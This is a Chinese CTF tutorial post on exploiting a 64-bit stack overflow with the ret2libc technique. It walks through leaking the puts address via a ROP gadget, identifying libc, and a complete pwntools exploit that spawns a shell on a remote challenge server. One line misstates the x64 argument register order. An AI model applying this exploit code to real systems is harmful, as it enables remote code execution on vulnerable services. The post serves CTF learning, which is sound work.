Loading [MathJax]/jax/output/CommonHTML/jax.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PWN从入门到放弃(10)——栈溢出之ret2libc(x64)

PWN从入门到放弃(10)——栈溢出之ret2libc(x64)

作者头像
山深有杏
发布于 2024-01-30 06:23:29
发布于 2024-01-30 06:23:29
2.2K00
代码可运行
举报
文章被收录于专栏:CTF新手教程CTF新手教程
运行总次数:0
代码可运行

前面我们介绍了32位elf程序ret2libc的利用方法

本篇我们介绍一下64位的ret2libc

0x00 例题

题目附件下载

1)查看文件信息
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ file ret2libc
$ checksec ret2libc
2)查看程序流程

运行一下程序,看看程序的大概流程

程序提供一次输入一次输出

3)分析程序&查找漏洞点

将程序扔到ida pro里分析

首先分析main()函数

我们看到,程序使用了gets函数和puts函数,根据我们之前讲过的ret2libc,攻击思路还是很清晰的

这里gets()函数是存在溢出的,我们可以利用这个溢出,构造一个puts()函数,将函数实际地址打印出来

然后利用puts函数的实际地址计算出libc基地址,再计算system函数和binsh的地址

4)构造payload

首先构造第一段payload

这里需要注意,64位程序和32位程序有比较大的区别,32位程序函数参数是通过栈来传参,我们只需要构造一个栈结构即可;64位程序函数参数是通过寄存器来传参,因此,我们需要用到ROPgadget来给寄存器赋值

64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:rsi rcx r9

因为我们脚本需要用到的函数为puts和system,这两个函数都只有一个参数,因此我们只需要rdi寄存器即可

我们利用ROPgadget工具来查找ROP片段

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ ROPgadget --binary ret2libc

我们找到pop rdi ; ret,将其地址复制出来

构造函数的顺序为,溢出偏移+pop rdi ; ret+参数+函数地址+函数返回地址

注:这里因为程序只有一次输入输出,所以我们返回地址填上main函数的地址,当我们构造的函数执行完后,会返回到main函数继续执行。

第一段payload如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

r = process('./ret2libc')
elf = ELF('./ret2libc')

padding = 120

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753

payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

r.sendline(payload)

r.interactive()

我们运行脚本,程序就会将puts函数的实际地址给我们打印出来

我们通过recvline方法来接收

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
r.recvline()
puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))

第一个r.recvline()用来接收程序给我们打印的数据,第二个r.recvline用来接收puts函数的实际地址,这里用[:-1]来截取掉后面的’\n’,用.ljust(8,’\x00′)将长度填充为8,因为64位程序的地址长度为8

当我们成功获取到puts函数的实际地址后,即可将本地调试改成远程调试,将远程服务器上的程序puts函数实际地址泄露出来,然后根据puts函数的实际地址来查找远程服务器上所使用的libc库版本

这里我们看到,远程调试时,puts函数实际地址的后三位为6a0,那么我们上网查一下,戳这里☞libc database search

我们找到对应版本的libc库,即可下载

注:64位程序选择amd64的库,32位程序选择i386的库

我们将对应库下载下来,放到程序文件夹下,重命名位libc.so,并将其导入脚本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
libc = ELF('./libc.so')

然后可根据公式来计算出libc的基地址和system函数以及binsh的地址

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()

这里一般会将libc_base的值打印出来,如果后三位是0,那么证明我们计算的是没有问题的

那么现在我们可以继续构造第二段payload了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)

sleep(1)
r.sendline(payload2)

0x01 完整exp

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

#r = process('./ret2libc')
r = remote('123.56.83.100',6102)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so')
elf = ELF('./ret2libc')

padding = 120

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753

payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

r.sendline(payload)

r.recvline()
puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))
print hex(puts_real)

libc_base = puts_real - libc.symbols['puts']
print hex(libc_base)
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()

payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)

sleep(1)
r.sendline(payload2)

r.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
盘点那些年我们一起玩过的网络安全工具
大家好,我是IT共享者,人称皮皮。这篇文章,皮皮给大家盘点那些年,我们一起玩过的网络安全工具。
前端皮皮
2021/07/23
5370
常见黑客渗透测试工具
一、Nessus 是扫描UNIX漏洞的主力工具,随后栖身Windows。主要功能包括本地和远程安全审查,支持client/server结构,具有GTK图形界面,并支持脚本语言编写插件。属免费开源。 二、Wireshark 说起Wireshark,不得不提Ethereal,Ethereal和Windows的sniffer pro并称网络嗅探工具双雄,不过和sniffer pro不同的是Ethereal在Linux类系统中应用更为广泛。而Wireshark则是Ethereal后续版本,是在Ethere
java404
2018/06/13
3K0
10款你应该了解的开源安全工具
随着互联网的不断发展,安全问题也越来越受到企业的重视。但安全问题往往需要大量资金的投入,例如聘请安全工程师,产品研发,测试等流程。这对于那些原本就资金紧缺的企业而言,是绝对无法接受的。因此,为了减少在这方面的资金投入,许多安全人员都会选择使用一些开源软件来替代。
FB客服
2018/07/30
1.3K0
10款你应该了解的开源安全工具
「安全工具」57个开源应用程序工具:免费应用程序安全软件指南
您无需花费大量资金在应用程序开发和交付日程中引入高功率安全性。这本开源应用程序工具指南旨在帮助那些希望投资应用程序安全软件的团队了解开源领域的内容,以及如何思考这些选择。随后将发布商业app sec供应商指南。
架构师研究会
2019/07/22
1.2K0
史上最全Windows安全工具锦集
近日,深信服安全团队整理了一些常见的PE工具、调试反汇编工具、应急工具、流量分析工具和WebShell查杀工具,希望可以帮助到一些安全行业的初学者。
FB客服
2019/10/16
3.4K0
二十款免费WiFi黑客(渗透测试)工具
对于企业的IT经理和网络管理员来说,保护相对脆弱的WiFi网络的最佳办法就拿黑客圈最流行的,“火力”最猛的工具入侵你自己的无线网络,从中找出网络安全漏洞并有针对性地补强。
洛米唯熊
2019/07/25
68.7K0
【Linux】Kali(WSL)基本操作与网络安全入门
Kali Linux是一款基于Debian的Linux发行版,旨在为渗透测试和网络安全领域提供全面的工具集合。它是由Offensive Security团队开发和维护的,专门用于渗透测试、漏洞评估和数字取证等任务。
DevFrank
2024/07/24
5760
【Linux】Kali(WSL)基本操作与网络安全入门
「首席架构师推荐」测试工具
渗透测试是对计算机系统及其物理基础设施发起授权的、模拟的攻击,以暴露潜在的安全弱点和漏洞的实践。
架构师研究会
2019/09/25
2.8K0
渗透测试工具包 | 开源安全测试工具 | 网络安全工具
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/169911.html原文链接:https://javaforall.cn
全栈程序员站长
2022/09/22
2K0
【Hvv】攻防演练中蓝队的主要工具
实战攻防演练一般具有时间短、任务紧的特点,前期各项准备工作是否充分是决定蓝队能否顺利完成攻击任务的关键因素。在蓝队攻击任务中,各类工具的运用会贯穿始终,高质量的工具往往能起到事半功倍的效果,极大提升蓝队的攻击效率。工欲善其事,必先利其器,那么我们就来盘点下蓝队主要使用的工具。
用户5878089
2022/12/01
2.7K0
网络安全自学篇之Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
Web渗透技术的核心是发现Web漏洞,发现漏洞有手工和软件自动化扫描两种方式。对于用户验证漏洞、用户凭证管理问题、权限特权及访问控制漏洞、缓存漏洞、跨站脚本漏洞、加密漏洞、路径切换漏洞、代码注入漏洞、配置漏洞、数据和信息泄露、输入验证码漏洞、操作系统命令脚本注入、资源管理漏洞、SQL注入等常见Web漏洞,都可以通过Web扫描器进行扫描。
用户5836910
2022/06/02
2.9K0
网络安全自学篇之Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[安全】适用于Windows,Linux和OS X的2018年最佳黑客工具
我们根据行业评论,您的反馈和自己的经验,准备了2018年最佳黑客工具的有用列表。 此列表将告诉您有关用于黑客目的的最佳软件,包括端口扫描程序,Web漏洞扫描程序,密码破解程序,取证工具,流量分析和社交工程工具。
架构师研究会
2019/03/06
1.7K0
[安全】适用于Windows,Linux和OS X的2018年最佳黑客工具
【干货】信息安全从业人员必备工具大全
通常,安全专家需使用渗透测试的网络安全工具来测试网络和应用程序中的漏洞。在与黑客的博弈中,“兵器”好坏将直接左右战果。
释然IT杂谈
2022/10/27
1.9K0
【干货】信息安全从业人员必备工具大全
【网络安全】网络安全攻防 -- 黑客攻击简要流程
踩点目的 : 主动获取信息情报, 确定目标域名系统, 网络地址范围, 名字空间, 关键系统如网关 邮件服务器等设置;
韩曙亮
2023/03/27
1.1K0
计算机端口的安全知识大全,整的明明白白!
端口是计算机的大门,计算机的安全应该从端口开始说起。关于端口安全知识,我计划从六部分说起:端口的基础知识、端口的使用查看、端口的打开关闭、端口的转发和映射、由端口分析恶意攻击以及常用的端口安全工具。有人问了,为什么要分为六部分?是向六学致敬也要开花吗?可能你看完全文就知道为什么这么“6”了!
网安数据
2019/03/23
8.6K1
计算机端口的安全知识大全,整的明明白白!
操作系统指纹识别概述
作者 Taskiller 操作系统指纹识别一般用来帮助用户识别某台设备上运行的操作系统类型。通过分析设备往网络发送的数据包中某些协议标记、选项和数据,我们可以推断发送这些数据包的操作系统。 只有确定了
FB客服
2018/02/02
4.9K0
操作系统指纹识别概述
中小企业网络安全建设指引(2017-02-14)
如培训现场所言,企业的网络安全是一个体系,方方面面都做的话是一个大工程,即使只是网络安全一个分支也需要较长时间建设,所以在早期需要解决当前主要矛盾(即“止血”,在关键位置先控制住大部分风险)。基于我们几个人过往的从业经验,我们建议各位在以下几个关键位置做好控制,则可以达到事半功倍立竿见影的效果:
网络安全观
2021/02/25
1.1K0
中小企业网络安全建设指引(2017-02-14)
Ubuntu 18.04及其他版本Linux 下 Nmap 网络扫描工具的安装与使用
本文介绍在Ubuntu 18.04及其他版本Linux 下 Nmap 网络扫描工具的安装与使用方法。
用户8704998
2021/06/07
5K0
2023年了,这10个抓包工具恐怕每个工程师都用过吧!
网络嗅探器在日常工作中经常使用,通常情况下,我们叫做“抓包工具”,不管是软件开发、还是网络工程师,抓包解决一些问题已经称为最正常不过的操作。
网络技术联盟站
2023/03/01
26.9K0
2023年了,这10个抓包工具恐怕每个工程师都用过吧!
2022 年保护 Linux 服务器的 10 种流行开源工具
◆ 概述 我们知道linux与windows相比,LINUX提供了良好的安全性,它提供了各种安全措施来减轻并阻止黑客破坏你的系统。当然这是在你合理设置了linux安全策略的情况下。除了LINUX本身的安全策略,我们还可以借助一些安全工具来保护你的系统。下面分享10大工具来保护linux服务器的安全。这些工具都是100%免费和开源 。 ◆ 推荐工具 1. ClamAV – Linux 防病毒引擎 病毒和恶意软件是对任何计算机系统的最大威胁,为了阻止它们,每个管理员都应该部署可靠且强大的防病毒应用程序。Cla
IT大咖说
2022/03/25
1.8K0
推荐阅读
相关推荐
盘点那些年我们一起玩过的网络安全工具
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验